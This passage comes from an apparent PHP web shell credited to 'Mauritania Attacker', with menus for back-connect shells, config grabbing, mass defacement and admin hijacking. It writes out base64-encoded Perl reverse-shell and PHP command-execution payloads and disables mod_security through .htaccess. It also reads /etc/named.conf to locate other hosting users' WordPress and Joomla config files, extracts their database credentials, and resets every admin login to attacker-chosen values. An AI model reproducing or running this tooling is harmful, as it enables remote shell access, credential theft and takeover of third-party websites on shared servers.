ZWZ0OiAzNTBweDsgbWFyZ2luLXJpZ2h0OiAzNTBweDsgfSBvcHRpb257IGNvbG9yOiAjNzc3Nzc3OyB9PC9zdHlsZT4NCjw/cGhwDQplY2hvICc8YnI+PGNlbnRlcj48Yj48Zm9udCBjb2xvcj0iIzAwNzcwMCIgZmFjZT0iVGFob21hIiBzdHlsZT0iZm9udC1zaXplOiAxMXB0Ij5Db21tYW5kOiBydWJ5ICcuZ2V0Y3dkKCkuJy9yZXZiYWNray5yYiBwb3J0IGhvc3Q8L2ZvbnQ+PC9iPjxjZW50ZXI+PGJyPic7DQplY2hvICc8Zm9udCBmYWNlPSJUYWhvbWEiIGFsaWduPSJjZW50ZXIiIHNpemU9IjIiIGNvbG9yPSJncmVlbiI+IENvZGVkIEJ5IE1hdXJpdGFuaWEgQXR0YWNrZXIgPC9mb250Pic7DQplY2hvJzxwIGFsaWduPSJjZW50ZXIiPiA8aW1nIHNyYz0iaHR0cHM6Ly93d3ctdHJvcG8tY29tLnMzLmFtYXpvbmF3cy5jb20vd3AtY29udGVudC91cGxvYWRzLzIwMTAvMDgvcnVieS1sb2dvLTUxMjEucG5nIiAgd2lkdGg9IjE3NCIgaGVpZ2h0PSIyMDAiID48L3A+DQo8Zm9ybSBtZXRob2Q9Z2V0IGFjdGlvbj0iJy4kbWUuJyI+DQo8cD48dGV4dGFyZWEgY2xhc3M9ImFyZWEiIHJvd3M9IjEzIiBuYW1lPSJTMSIgY29scz0iNzAiID4nOw0KDQppZiAoc3RybGVuKCRfR0VUWydjb21tYW5kJ10pPjEgJiYgJF9HRVRbJ2V4ZWNtZXRob2QnXSE9InBvcGVuIil7DQplY2hvICRfR0VUWydleGVjbWV0aG9kJ10oJF9HRVRbJ2NvbW1hbmQnXSk7fQ0KaWYgKHN0cmxlbigkX1BPU1RbJ2NvbW1hbmQnXSk+MSAmJiAkX1BPU1RbJ2V4ZWNtZXRob2QnXSE9InBvcGVuIil7DQplY2hvICRfUE9TVFsnZXhlY21ldGhvZCddKCRfUE9TVFsnY29tbWFuZCddKTt9DQoNCmlmIChzdHJsZW4oJF9HRVRbJ2NvbW1hbmQnXSk+MSAmJiAkX0dFVFsnZXhlY21ldGhvZCddPT0icG9wZW4iKXsNCnBvcGVuKCRfR0VUWydjb21tYW5kJ10sInIiKTt9DQoNCmVjaG8nPC90ZXh0YXJlYT48L3A+DQo8cD48Y2VudGVyPjxmb250IGZhY2U9IkdlbmV2YSIgYWxpZ249ImNlbnRlciIgc2l6ZT0iMiIgY29sb3I9IiMwMDc3MDAiPklmIG5vdGhpbmcgd29yayBpdCBtZWFucyB0aGF0IHJ1YnkgaXMgbm90IGVuYWJsZWQgaW4gdGhpcyBzZXJ2ZXIgOig8L2ZvbnQ+PC9jZW50ZXI+PC9wPg0KPHAgYWxpZ249ImNlbnRlciI+DQo8Zm9udCBmYWNlPSJHZW5ldmEiIGFsaWduPSJjZW50ZXIiIHNpemU9IjMiIGNvbG9yPSIjMDA5OTAwIj5Db21tYW5kOiBydWJ5ICcuZ2V0Y3dkKCkuJy9yZXZiYWNray5yYiBwb3J0IGhvc3Q8L2ZvbnQ+PGlucHV0IHR5cGU9aGlkZGVuIG5hbWU9InZ3IiBzaXplPSI1MCIgdmFsdWU9ImNtZCI+IDxpbnB1dCB0eXBlPSJ0ZXh0IiBuYW1lPSJjb21tYW5kIiBzaXplPSI0MyI+IDxzZWxlY3QgbmFtZT1leGVjbWV0aG9kPg0KPG9wdGlvbiB2YWx1ZT0ic3lzdGVtIj5TeXN0ZW08L29wdGlvbj4gIDxvcHRpb24gdmFsdWU9ImV4ZWMiPkV4ZWM8L29wdGlvbj4gIDxvcHRpb24gdmFsdWU9InBhc3N0aHJ1Ij5QYXNzdGhydTwvb3B0aW9uPjxvcHRpb24gdmFsdWU9InBvcGVuIj5wb3Blbjwvb3B0aW9uPg0KPC9zZWxlY3Q+IDxpbnB1dCB0eXBlPSJzdWJtaXQiIHZhbHVlPSJFeGVjdXRlIj4NCjwvcD48L2Zvcm0+JzsNCj8+\';
$file = fopen("rubbbber.php" ,"w+");
$write = fwrite ($file ,base64_decode($merdeeeee));
fclose($file);

echo "<br><center><span style=\'font-size:30px; font-family:Fredericka the Great; color:#009900\'>Ruby Back Connect Shell</span><center><br><iframe src=rubrub/rubbbber.php width=75% height=60% frameborder=0></iframe></div></center>"; 
}


if(isset($_GET[\'action\']) && $_GET[\'action\'] == \'prlbckacnonect\'){
echo \'<center><b class="conte">
<a href="?action=mysqslsls">MySQL & PostgreSql Connect</a> -
<a href="?action=cmd">Command Execution</a> -
<a href="?action=com64">Base64 Command</a> -
<a href="?action=vgrab">Config Grabber</a> -
<a href="?action=subdomainchkrezes">Subdomain Checker</a> -
<a href="?action=joomlarvrssrvetll">Joomla Reverse Server</a> -    
<a href="?action=wordddprssrrrvrse">Wordpress Reverse Server</a> -
<a href="?action=cari">Find Directory Writable/Readable</a> -
<a href="?action=zonh">Zone-h Notifier</a> -
<a href="?action=shhhshell">Shtml Command Shell</a> -
<a href="?action=beko">Back connect Simple</a> -
<a href="?action=rubybckconnnect">Ruby BackConnect</a> -
<a href="?action=prlbckacnonect">Perl BackConnect</a> -
<a href="?action=pythnonbakcncete">Python BackConnect</a> -
<a href="?action=exploit">Exploit</a> -
<a href="?action=whmcskillrer">Whcms Killer</a> -
<a href="?action=webmllllpwdchnger">Webmail Password Changer</a> -
<a href="?action=wpcdrfex">Wordpress Csrf Exploit</a>
</center>
</b>\';

mkdir(\'Backperlrev\', 0755);
chdir(\'Backperlrev\');
$kokwkwkwkwkw = ".htaccess";
$wkwkwkwkw_adi = "$kokwkwkwkwkw";
$wkwkwkwkw = fopen ($wkwkwkwkw_adi , \'w\') or die ("wkwkwkwkw a&#231;&#305;lamad&#305;!");
$zilzil = "<IfModule mod_security.c>
SecFilterEngine Off
SecFilterScanPOST Off
</IfModule>";    
fwrite ( $wkwkwkwkw , $zilzil ) ;
fclose ($wkwkwkwkw);
$shellololol = \'dXNlIElPOjpTb2NrZXQ7DQokc3lzdGVtICA9ICcvYmluL2Jhc2gnOw0KJEFSR0M9QEFSR1Y7DQpwcmludCAiQW5vbkdob3N0IEJBQ0stQ09OTkVDVCBCQUNLRE9PUlxuXG4iOw0KaWYgKCRBUkdDIT0yKSB7DQogICBwcmludCAiVXNhZ2U6ICQwIFtIb3N0XSBbUG9ydF0gXG5cbiI7DQogICBkaWUgIkV4OiAkMCAxMjcuMC4wLjEgMjEyMSBcbiI7DQp9DQp1c2UgU29ja2V0Ow0KdXNlIEZpbGVIYW5kbGU7DQpzb2NrZXQoU09DS0VULCBQRl9JTkVULCBTT0NLX1NUUkVBTSwgZ2V0cHJvdG9ieW5hbWUoJ3RjcCcpKSBvciBkaWUgcHJpbnQgIlstXSBVbmFibGUgdG8gUmVzb2x2ZSBIb3N0IDooXG4iOw0KY29ubmVjdChTT0NLRVQsIHNvY2thZGRyX2luKCRBUkdWWzFdLCBpbmV0X2F0b24oJEFSR1ZbMF0pKSkgb3IgZGllIHByaW50ICJbLV0gVW5hYmxlIHRvIENvbm5lY3QgSG9zdCA6KFxuIjsNCnByaW50ICJbKl0gUmVzb2x2aW5nIEhvc3ROYW1lXG4iOw0KcHJpbnQgIlsqXSBDb25uZWN0aW5nLi4uICRBUkdWWzBdIFxuIjsNCnByaW50ICJbKl0gU3Bhd25pbmcgU2hlbGwgXG4iOw0KcHJpbnQgIlsqXSBDb25uZWN0ZWQgdG8gcmVtb3RlIGhvc3QgXCEvIFxuIjsNClNPQ0tFVC0+YXV0b2ZsdXNoKCk7DQpvcGVuKFNURElOLCAiPiZTT0NLRVQiKTsNCm9wZW4oU1RET1VULCI+JlNPQ0tFVCIpOw0Kb3BlbihTVERFUlIsIj4mU09DS0VUIik7DQpwcmludCAiQW5vbkdob3N0IEJBQ0stQ09OTkVDVCBCQUNLRE9PUiAgXG5cbiI7DQpzeXN0ZW0oInVuc2V0IEhJU1RGSUxFOyB1bnNldCBTQVZFSElTVDtlY2hvIC0tPT1TeXN0ZW1pbmZvPT0tLTsgdW5hbWUgLWE7ZWNobzsNCmVjaG8gLS09PVVzZXJpbmZvPT0tLTsgaWQ7ZWNobztlY2hvIC0tPT1EaXJlY3Rvcnk9PS0tOyBwd2Q7ZWNobzsgZWNobyAtLT09U2hlbGw9PS0tICIpOw0Kc3lzdGVtKCRzeXN0ZW0pOw==\';

$zerer = fopen("reverse.pl" ,"w+");
$write = fwrite ($zerer ,base64_decode($shellololol));
fclose($zerer);
chmod("reverse.pl",0755);

//extract php command shell
$zonop = \'PGh0bWw+PGhlYWQ+PHRpdGxlPkFub25HaG9zdCBQZXJsIENvbm5lY3QgU2hlbGwgUHJpdjg8L3RpdGxlPjxsaW5rIHJlbD0ic2hvcnRjdXQgaWNvbiIgaHJlZj0iaHR0cDovL3d3dzE0LjB6ejAuY29tLzIwMTQvMDYvMDQvMjEvMzk2NTU0Mzk0LnBuZyIgdHlwZT0iaW1hZ2UveC1pY29uIiAvPjxzdHlsZSB0eXBlPSJ0ZXh0L2NzcyI+DQpib2R5eyBiYWNrZ3JvdW5kLWNvbG9yOiAjMjIyMjIyICFpbXBvcnRhbnQ7IGNvbG9yOiAjMDA5OTAwOyB0ZXh0LXNoYWRvdzojMDAwIDBweCAycHggN3B4O30gICAgICBhe3RleHQtZGVjb3JhdGlvbjpub25lOyBmb250LWZhbWlseTogVGFob21hLCBHZW5ldmE7IGNvbG9yOiMwMDc3MDA7IHBhZGRpbmc6MnB4IDJweDt9ICAgICAgYTpob3Zlcntjb2xvcjojMDA5OTAwOyB0ZXh0LXNoYWRvdzojMDBmZjAwIDBweCAwcHggM3B4O30JICAuYXJlYSB7IGNvbG9yOiAjMDBiYjAwOyBmb250LXNpemU6IDlwdDsgdGV4dC1zaGFkb3c6IzAwMDAwMCAwcHggMnB4IDdweDsgYm9yZGVyOiBzb2xpZCAwcHggIzAwNzcwMDsgYmFja2dyb3VuZC1jb2xvcjp0cmFuc3BhcmVudDsgYm94LXNoYWRvdzogMHB4IDBweCA0cHggIzAwOTkwMDsgICAgcGFkZGluZzogM3B4OyAgIC13ZWJraXQtYm9yZGVyLXJhZGl1czogNHB4OyAgIC1tb3otYm9yZGVyLXJhZGl1czogNHB4OyAgIGJvcmRlci1yYWRpdXM6IDRweDsgICAtd2Via2l0LWJveC1zaGFkb3c6IHJnYigwLDExOSwwKSAwcHggMHB4IDRweDsgICAtbW96LWJveC1zaGFkb3c6IHJnYigwLDExOSwwKSAwcHggMHB4IDRweDsgfQkgIGlucHV0W3R5cGU9c3VibWl0XXsgcGFkZGluZzogM3B4OyBjb2xvcjogIzAwNzcwOyAgZm9udC13ZWlnaHQ6IGJvbGQ7IHRleHQtYWxpZ246IGNlbnRlcjsgIHRleHQtc2hhZG93OiAwIDFweCByZ2JhKDI1NSwgMjU1LCAyNTUsIDAuMyk7ICBiYWNrZ3JvdW5kOiAjYWVhZWFlOyAgYmFja2dyb3VuZC1jbGlwOiBwYWRkaW5nLWJveDsgIGJvcmRlcjogMXB4IHNvbGlkICMyODQ0NzM7ICBib3JkZXItYm90dG9tLWNvbG9yOiAjMjIzYjY2OyAgYm9yZGVyLXJhZGl1czogNHB4OyAgY3Vyc29yOiBwb2ludGVyOyAgYmFja2dyb3VuZC1pbWFnZTotd2Via2l0LWxpbmVhci1ncmFkaWVudCh0b3AsICNlYWVhZWEsICNkMGQwZDApOyAgYmFja2dyb3VuZC1pbWFnZTogLW1vei1saW5lYXItZ3JhZGllbnQodG9wLCAjZWFlYWVhLCAjZDBkMGQwKTsgIGJhY2tncm91bmQtaW1hZ2U6IC1vLWxpbmVhci1ncmFkaWVudCh0b3AsICNlYWVhZWEsICNkMGQwZDApOyAgYmFja2dyb3VuZC1pbWFnZTogbGluZWFyLWdyYWRpZW50KHRvIGJvdHRvbSwgI2VhZWFlYSwgI2QwZDBkMCk7ICAtd2Via2l0LWJveC1zaGFkb3c6IGluc2V0IDAgMXB4IHJnYmEoMjU1LCAyNTUsIDI1NSwgMC41KSwgaW5zZXQgMCAwIDdweCByZ2JhKDI1NSwgMjU1LCAyNTUsIDAuNCksIDAgMXB4IDFweCByZ2JhKDAsIDAsIDAsIDAuMTUpOyAgYm94LXNoYWRvdzogaW5zZXQgMCAxcHggcmdiYSgyNTUsIDI1NSwgMjU1LCAwLjUpLCBpbnNldCAwIDAgN3B4IHJnYmEoMjU1LCAyNTUsIDI1NSwgMC40KSwgMCAxcHggMXB4IHJnYmEoMCwgMCwgMCwgMC4xNSk7IH0gaW5wdXRbdHlwZT10ZXh0XXsgcGFkZGluZzogM3B4OyBjb2xvcjogIzAwOTkwMDsgdGV4dC1zaGFkb3c6ICM3Nzc3NzcgMHB4IDBweCAzcHg7IGJvcmRlcjogMXB4IHNvbGlkICMwMDc3MDA7IGJhY2tncm91bmQ6IHRyYW5zcGFyZW50OyBib3gtc2hhZG93OiAwcHggMHB4IDRweCAjMDA3NzAwOyAgICBwYWRkaW5nOiAzcHg7ICAgLXdlYmtpdC1ib3JkZXItcmFkaXVzOiA0cHg7ICAgLW1vei1ib3JkZXItcmFkaXVzOiA0cHg7ICAgYm9yZGVyLXJhZGl1czogNHB4OyAgIC13ZWJraXQtYm94LXNoYWRvdzogcmdiKDg1LDg1LDg1KSAwcHggMHB4IDRweDsgICAtbW96LWJveC1zaGFkb3c6IHJnYig4NSw4NSw4NSkgMHB4IDBweCA0cHg7fSBpbnB1dFt0eXBlPXN1Ym1pdF06aG92ZXIsIGlucHV0W3R5cGU9dGV4dF06aG92ZXJ7IGNvbG9yOiAjZmZmZmZmOyB0ZXh0LXNoYWRvdzogIzAwNjYwMCAwcHggMHB4IDRweDsgYm94LXNoYWRvdzogMHB4IDBweCA0cHggIzAwZGQwMDsgYm9yZGVyOiAxcHggc29saWQgIzAwZGQwMDsgICAgcGFkZGluZzogM3B4OyAgIC13ZWJraXQtYm9yZGVyLXJhZGl1czogNHB4OyAgIC1tb3otYm9yZGVyLXJhZGl1czogNHB4OyAgIGJvcmRlci1yYWRpdXM6IDRweDsgICAtd2Via2l0LWJveC1zaGFkb3c6IHJnYmEoMCwxMTksMCkgMHB4IDBweCA0cHg7ICAgLW1vei1ib3gtc2hhZG93OiByZ2JhKDAsMTE5LDApIDBweCAwcHggNHB4O30gc2VsZWN0eyBwYWRkaW5nOiAzcHg7IHdpZHRoOiAxNjJweDsgY29sb3I6ICMwMGFhMDA7IHRleHQtc2hhZG93OiMwMDAgMHB4IDJweCA3cHg7IGJvcmRlcjogMXB4IHNvbGlkICMwMDc3MDA7IGJhY2tncm91bmQ6IHRyYW5zcGFyZW50OyB0ZXh0LWRlY29yYXRpb246IG5vbmU7IGJveC1zaGFkb3c6IDBweCAwcHggNHB4ICMwMGFhMDA7ICBwYWRkaW5nOiAzcHg7ICAgLXdlYmtpdC1ib3JkZXItcmFkaXVzOiA0cHg7ICAgLW1vei1ib3JkZXItcmFkaXVzOiA0cHg7ICAgYm9yZGVyLXJhZGl1czogNHB4OyAgIC13ZWJraXQtYm94LXNoYWRvdzogcmdiKDg1LCA4NSwgODUpIDBweCAwcHggNHB4OyAgIC1tb3otYm94LXNoYWRvdzogcmdiKDg1LCA4NSwgODUpIDBweCAwcHggNHB4O30gc2VsZWN0OmhvdmVyeyBib3JkZXI6IDFweCBzb2xpZCAjMDBkZDAwOyBib3gtc2hhZG93OiAwcHggMHB4IDRweCAjMDBkZDAwOyAgIHBhZGRpbmc6IDNweDsgICAtd2Via2l0LWJvcmRlci1yYWRpdXM6IDRweDsgICAtbW96LWJvcmRlci1yYWRpdXM6IDRweDsgICBib3JkZXItcmFkaXVzOiA0cHg7ICAgLXdlYmtpdC1ib3gtc2hhZG93OiByZ2JhKDAsMTE5LDApIDBweCAwcHggNHB4OyAgIC1tb3otYm94LXNoYWRvdzogcmdiYSgwLDExOSwwKSAwcHggMHB4IDRweDt9ICAgI2NvbW1hbmRzeyBtYXJnaW4tbGVmdDogMzUwcHg7IG1hcmdpbi1yaWdodDogMzUwcHg7IH0gb3B0aW9ueyBjb2xvcjogIzc3Nzc3NzsgfTwvc3R5bGU+DQo8P3BocA0KZWNobyAnPGNlbnRlcj48Zm9udCBjb2xvcj0iIzAwNzcwMCIgZmFjZT0iVGFob21hIiBzdHlsZT0iZm9udC1zaXplOiAxMXB0Ij5Vc2FnZTogcmV2ZXJzZS5wbCBbSG9zdF0gW1BvcnRdPC9mb250Pjxicj4nOw0KZWNobyc8cCBhbGlnbj0iY2VudGVyIj4gDQo8aW1nIGJvcmRlcj0iMCIgc3JjPSJodHRwOi8vd3d3OS4wenowLmNvbS8yMDE0LzA4LzIwLzE5LzQ3MDA3MTkzOS5wbmciPjwvcD48Zm9udCBmYWNlPSJHZW5ldmEiIGFsaWduPSJjZW50ZXIiIHNpemU9IjIiIGNvbG9yPSIjMDA3NzAwIj4gQ29kZWQgQnkgTWF1cml0YW5pYSBBdHRhY2tlciA8L2ZvbnQ+PGJyPg0KPGZvcm0gbWV0aG9kPWdldCBhY3Rpb249IicuJG1lLiciPg0KPHRleHRhcmVhIGNsYXNzPSJhcmVhIiByb3dzPSIxMyIgbmFtZT0iUzEiIGNvbHM9IjcwIiA+JzsNCg0KaWYgKHN0cmxlbigkX0dFVFsnY29tbWFuZCddKT4xICYmICRfR0VUWydleGVjbWV0aG9kJ10hPSJwb3BlbiIpew0KZWNobyAkX0dFVFsnZXhlY21ldGhvZCddKCRfR0VUWydjb21tYW5kJ10pO30NCmlmIChzdHJsZW4oJF9QT1NUWydjb21tYW5kJ10pPjEgJiYgJF9QT1NUWydleGVjbWV0aG9kJ10hPSJwb3BlbiIpew0KZWNobyAkX1BPU1RbJ2V4ZWNtZXRob2QnXSgkX1BPU1RbJ2NvbW1hbmQnXSk7fQ0KDQppZiAoc3RybGVuKCRfR0VUWydjb21tYW5kJ10pPjEgJiYgJF9HRVRbJ2V4ZWNtZXRob2QnXT09InBvcGVuIil7DQpwb3BlbigkX0dFVFsnY29tbWFuZCddLCJyIik7fQ0KDQplY2hvJzwvdGV4dGFyZWE+DQo8cD48Y2VudGVyPklmIG5vdGhpbmcgd29yayBpdCBtZWFucyB0aGF0IHBlcmwgaXMgbm90IGVuYWJsZWQgaW4gdGhpcyBzZXJ2ZXIgOig8L2NlbnRlcj48L3A+DQo8cCBhbGlnbj0iY2VudGVyIj48c3Ryb25nPkNvbW1hbmQ6IHBlcmwgcmV2ZXJzZS5wbCB5b3VySVAgUG9ydDwvc3Ryb25nPjxpbnB1dCB0eXBlPWhpZGRlbiBuYW1lPSJ2dyIgc2l6ZT0iNTAiIHZhbHVlPSJjbWQiPiA8aW5wdXQgdHlwZT0idGV4dCIgbmFtZT0iY29tbWFuZCIgc2l6ZT0iNDMiPiA8c2VsZWN0IG5hbWU9ZXhlY21ldGhvZD4NCjxvcHRpb24gdmFsdWU9InN5c3RlbSI+U3lzdGVtPC9vcHRpb24+ICA8b3B0aW9uIHZhbHVlPSJleGVjIj5FeGVjPC9vcHRpb24+ICA8b3B0aW9uIHZhbHVlPSJwYXNzdGhydSI+UGFzc3RocnU8L29wdGlvbj48b3B0aW9uIHZhbHVlPSJwb3BlbiI+cG9wZW48L29wdGlvbj4NCjwvc2VsZWN0PiA8aW5wdXQgdHlwZT0ic3VibWl0IiB2YWx1ZT0iRXhlY3V0ZSI+DQo8L3A+PC9mb3JtPic7DQo/Pg==\';
$file = fopen("kit.php" ,"w+");
$write = fwrite ($file ,base64_decode($zonop));
fclose($file);

echo "<br><center><span style=\'font-size:30px; font-family:Fredericka the Great; color:#009900\'>Perl Connect Shell Priv8</span></b><center><br><iframe src=Backperlrev/kit.php width=75% height=60% frameborder=0></iframe></div></center>";
}

if(isset($_GET[\'action\']) && $_GET[\'action\'] == \'joomla\'){
echo \'<center><b class="conte">
<a href="?action=mass">Mass Deface Dirs</a> -
<a href="?action=joomla">Mass Change Admin Joomla</a> -
<a href="?action=vb">Mass Change Admin vBulletin</a> -
<a href="?action=wp">Mass Change Admin WordPress</a> -
<a href="?action=wpandjmlamassdfce">Wordpress & Joomla Mass Deface</a> -
<a href="?action=wrdprshtmlinj">Wordpress Index Hijack Priv8</a> -
<a href="?action=joommlallainxc">Joomla Index Changer</a> -
<a href="?action=wpidxcngrdesr">Wordpress Index Changer</a> -
<a href="?action=cpnlndftpotdfr">Cpanel & Ftp Auto Defacer</a> </center>
</b>\';
echo \'<br><center><span style="font-size:30px; font-family:Fredericka the Great; color:#009900">Mass Change Admin Joomla</span><center><br>\';
if(isset($_POST[\'s\'])){

$file = @file_get_contents(\'joomla.txt\');

$ex   = explode("
",$file);


echo "<div class=\'tmp\'><table align=\'center\' width=\'40%\'><td> <font color=\'#e4e4e4\'><b>Domains </b></font></td><td> <font color=\'#e4e4e4\'><b>Configs </b></font></td><td> <font color=\'#e4e4e4\'><b>Result </b></font></td></div>";
flush();


foreach ($ex as $exp){

$es   = explode("||",$exp);

$config = $es[0];

$domin = $es[1];

$domins = trim($domin).\'\';

$readconfig  = @file_get_contents(trim($config));

if(ereg(\'JConfig\',$readconfig)){


$pass    =  ex($readconfig,\'$password = \'\',"\';");
$userdb  =  ex($readconfig,\'$user = \'\',"\';");
$db      =  ex($readconfig,\'$db = \'\',"\';");
$fix     =  ex($readconfig,\'$dbprefix = \'\',"\';");
$tab     =  $fix.\'users\';
$con     = @mysql_connect(\'localhost\',$userdb,$pass);
$db      = @mysql_select_db($db,$con);
$query   = @mysql_query("UPDATE `$tab`  SET `username` =\'virusa\'");
$query3  = @mysql_query("UPDATE `$tab`  SET `password` =\'0a3329119bf465dce95057a37ec91152:TL1fIDogLJU4bHHcgQWETu8GN67fUd8\'");
if ($query and $query3 ){$r = \'<b style="color: #ee5500">Succeed </b>user [virusa] pass [worm]</b>\';}else{$r = \'<b style="color:red">failed</b>\';}
$domins = trim($domin).\'\';
echo "<tr>
<td><div class=\'cone\'><a target=\'_blank\' href=\'http://$domins\'>$domin</a></div></td>
<td><div class=\'cone\'><a target=\'_blank\' href=\'$config\'>config</a></td><td>".$r."</td></div></tr>";
flush();

}else{

echo "<tr>
<td><div class=\'cone\'><a target=\'_blank\' href=\'http://$domins\'>$domin</a></div></td>
<td><div class=\'cone\'><a target=\'_blank\' href=\'http://$exp\'>config</a></div></td><td><b style=\'color:red\'>failed</b></td></tr>";
flush();

}
}

die();

}

if(!is_file(\'named.txt\')){

$d00m = @file("/etc/named.conf");

flush();

}else{

$d00m = file("named.txt");

}
if(!$d00m)
{
die ("<meta http-equiv=\'refresh\' content=\'0; url=?action=read\'/>");
}
else
{
echo "<br><div class=\'tmp\'>
<form method=\'POST\' action=\'$pg?action=joomla\'>
<input type=\'submit\' value=\'Mass change Admin\' />
<input type=\'hidden\' value=\'1\' name=\'s\' />
</form><br>
<table align=\'center\' width=\'40%\'><td> <font color=\'#e4e4e4\'><b>Domains </b></font></td><td> <font color=\'#e4e4e4\'><b>Config </b></font></td><td> <font color=\'#e4e4e4\'><b>Result </b></font></td>";

$f = fopen(\'joomla.txt\',\'w\');

foreach($d00m as $dom){

if(eregi("zone",$dom)){

preg_match_all(\'#zone "(.*)"#\', $dom, $domvw);

if(strlen(trim($domvw[1][0])) > 2){

$user = posix_getpwuid(@fileowner("/etc/valiases/".$domvw[1][0]));


$wpl=$pageURL."/sim/rut/home/".$user[\'name\']."/public_html/configuration.php";
$wpp=get_headers($wpl);
$wp=$wpp[0];

$wp2=$pageURL."/sim/rut/home/".$user[\'name\']."/public_html/blog/configuration.php";
$wpp2=get_headers($wp2);
$wp12=$wpp2[0];

$wp3=$pageURL."/sim/rut/home/".$user[\'name\']."/public_html/joomla/configuration.php";
$wpp3=get_headers($wp3);
$wp13=$wpp3[0];


$pos = strpos($wp, "200");
$config="&nbsp;";

if (strpos($wp, "200") == true )
{
 $config= $wpl;
}
elseif (strpos($wp12, "200") == true)
{
  $config= $wp2;
}
elseif (strpos($wp13, "200") == true)
{
  $config= $wp3;
}
else
{
continue;

}
flush();

$dom = $domvw[1][0];

$w = fwrite($f,"$config||$dom 
");
if($w){$r = \'<b style="color: #ee5500">Save</b>\';}else{$r = \'<b style="color:red">failed</b>\';}

echo "<tr><td><div class=\'cone\'><a href=http://www.".$domvw[1][0].">".$domvw[1][0]."</a></div></td>
<td><div class=\'cone\'><a href=\'$config\'>config</a></div></td><td>".$r."</td></tr>";

flush();

}
}
}
}
echo "</table></div><br><br>";
}
if(isset($_GET[\'action\']) && $_GET[\'action\'] == \'wp\'){
echo \'<center><b class="conte">
<a href="?action=mass">Mass Deface Dirs</a> -
<a href="?action=joomla">Mass Change Admin Joomla</a> -
<a href="?action=vb">Mass Change Admin vBulletin</a> -
<a href="?action=wp">Mass Change Admin WordPress</a> -
<a href="?action=wpandjmlamassdfce">Wordpress & Joomla Mass Deface</a> -
<a href="?action=wrdprshtmlinj">Wordpress Index Hijack Priv8</a> -
<a href="?action=joommlallainxc">Joomla Index Changer</a> -
<a href="?action=wpidxcngrdesr">Wordpress Index Changer</a> -
<a href="?action=cpnlndftpotdfr">Cpanel & Ftp Auto Defacer</a> </center>
</b>\';
echo \'<br><center><span style="font-size:30px; font-family:Fredericka the Great; color:#009900">Mass Change Admin Mass WordPress</span><center><br>\';
if(isset($_POST[\'s\'])){

$file = @file_get_contents(\'wp.txt\');

$ex   = explode("
",$file);

echo "<div class=\'tmp\'><table align=\'center\' width=\'40%\'><td> <font color=\'#e4e4e4\'><b>Domains </b></font></td><td> <font color=\'#e4e4e4\'><b>Configs </b></font></td><td> <font color=\'#e4e4e4\'><b>Result </b></font></td></div>";
flush();
flush();


foreach ($ex as $exp){

$es   = explode("||",$exp);

$config = $es[0];

$domin = $es[1];

$domins = trim($domin).\'\';

$readconfig  = @file_get_contents(trim($config));

if(ereg(\'wp-settings.php\',$readconfig)){



$pass    =  ex($readconfig,"define(\'DB_PASSWORD\', \'","\');");

$userdb  =  ex($readconfig,"define(\'DB_USER\', \'","\');");

$db      =  ex($readconfig,"define(\'DB_NAME\', \'","\');");

$fix     =  ex($readconfig,\'$table_prefix  = \'\',"\';");

$tab     = $fix.\'users\';

$con     = @mysql_connect(\'localhost\',$userdb,$pass);

$db      = @mysql_select_db($db,$con);

$query   = @mysql_query("UPDATE `$tab` SET `user_login` =\'virusa\'") or die;

$query   = @mysql_query("UPDATE `$tab` SET `user_pass` =\'$1$4z/.5i..$9aHYB.fUHEmNZ.eIKYTwx/\'") or die;



if ($query){$r = \'<b style="color: #ee5500">Succeed </b>user [virusa] pass [1]</b>\';}

else

{

$r = \'<b style="color:red">failed</b>\';

}

$domins = trim($domin).\'\';

echo "<tr>
<td><div class=\'cone\'><a target=\'_blank\' href=\'http://$domins\'>$domin</a></div></td>
<td><div class=\'cone\'><a target=\'_blank\' href=\'$config\'>config</a></div></td><td>".$r."</td></tr>";

flush();
flush();

}else{

echo "<tr>
<td><div class=\'cone\'><a target=\'_blank\' href=\'http://$domins\'>$domin</a></div></td>
<td><div class=\'cone\'><a target=\'_blank\' href=\'http://$config\'>config</a></div></td><td><b style=\'color:red\'>failed2</b></td></tr>";

flush();
flush();

}
}

die();

}

if(!is_file(\'named.txt\')){

$d00m = @file("/etc/named.conf");

}else{

$d00m = @file("named.txt");

}
if(!$d00m)
{
die ("<meta http-equiv=\'refresh\' content=\'0; url=?action=read\'/>");
}
else
{
echo "<br><div class=\'tmp\'>
<form method=\'POST\' action=\'$pg?action=wp\'>
<input type=\'submit\' value=\'Mass Change Admin\' />
<input type=\'hidden\' value=\'1\' name=\'s\' />
</form>
<br>
<table align=\'center\' width=\'40%\'><td> <font color=\'#e4e4e4\'><b>Domains </b></font></td><td> <font color=\'#e4e4e4\'><b>Config </b></font></td><td> <font color=\'#e4e4e4\'><b>Result </b></font></td>";

flush();
flush();

$f = fopen(\'wp.txt\',\'w\');

foreach($d00m as $dom){

if(eregi("zone",$dom)){

preg_match_all(\'#zone "(.*)"#\', $dom, $domvw);

if(strlen(trim($domvw[1][0])) > 2){

$user = posix_getpwuid(@fileowner("/etc/valiases/".$domvw[1][0]));

$wpl=$pageURL."/sim/rut/home/".$user[\'name\']."/public_html/wp-config.php";
$wpp=get_headers($wpl);
$wp=$wpp[0];

$wp2=$pageURL."/sim/rut/home/".$user[\'name\']."/public_html/blog/wp-config.php";
$wpp2=get_headers($wp2);
$wp12=$wpp2[0];

$wp3=$pageURL."/sim/rut/home/".$user[\'name\']."/public_html/wp/wp-config";
$wpp3=get_headers($wp3);
$wp13=$wpp3[0];

$pos = strpos($wp, "200");
$config="&nbsp;";

if (strpos($wp, "200") == true )
{
 $config= $wpl;
}
elseif (strpos($wp12, "200") == true)
{
  $config= $wp2;
}
elseif (strpos($wp13, "200") == true)
{
  $config= $wp3;
}
else
{
continue;

}
flush();

$dom = $domvw[1][0];

$w = fwrite($f,"$config||$dom 
");
if($w){$r = \'<b style="color: #ee5500">Save</b>\';}else{$r = \'<b style="color:red">failed</b>\';}

echo "<tr><td><div class=\'cone\'><a href=http://www.".$domvw[1][0].">".$domvw[1][0]."</a></div></td>
<td><div class=\'cone\'><a href=\'$config\'>Config</a></div></td><td>".$r."</td></tr>";
flush();
flush();

flush();

}
}
}
}
echo "</table></div><br><br>";
}
if(isset($_GET[\'action\']) && $_GET[\'action\'] == \'vb\'){
echo \'<center><b class="conte">
<a href="?action=mass">Mass Deface Dirs</a> -
<a href="?action=joomla">Mass Change Admin Joomla</a> -
<a href="?action=vb">Mass Change Admin vBulletin</a> -
<a href="?action=wp">Mass Change Admin WordPress</a> -
<a href="?action=wpandjmlamassdfce">Wordpress & Joomla Mass Deface</a> -
<a href="?action=wrdprshtmlinj">Wordpress Index Hijack Priv8</a> -
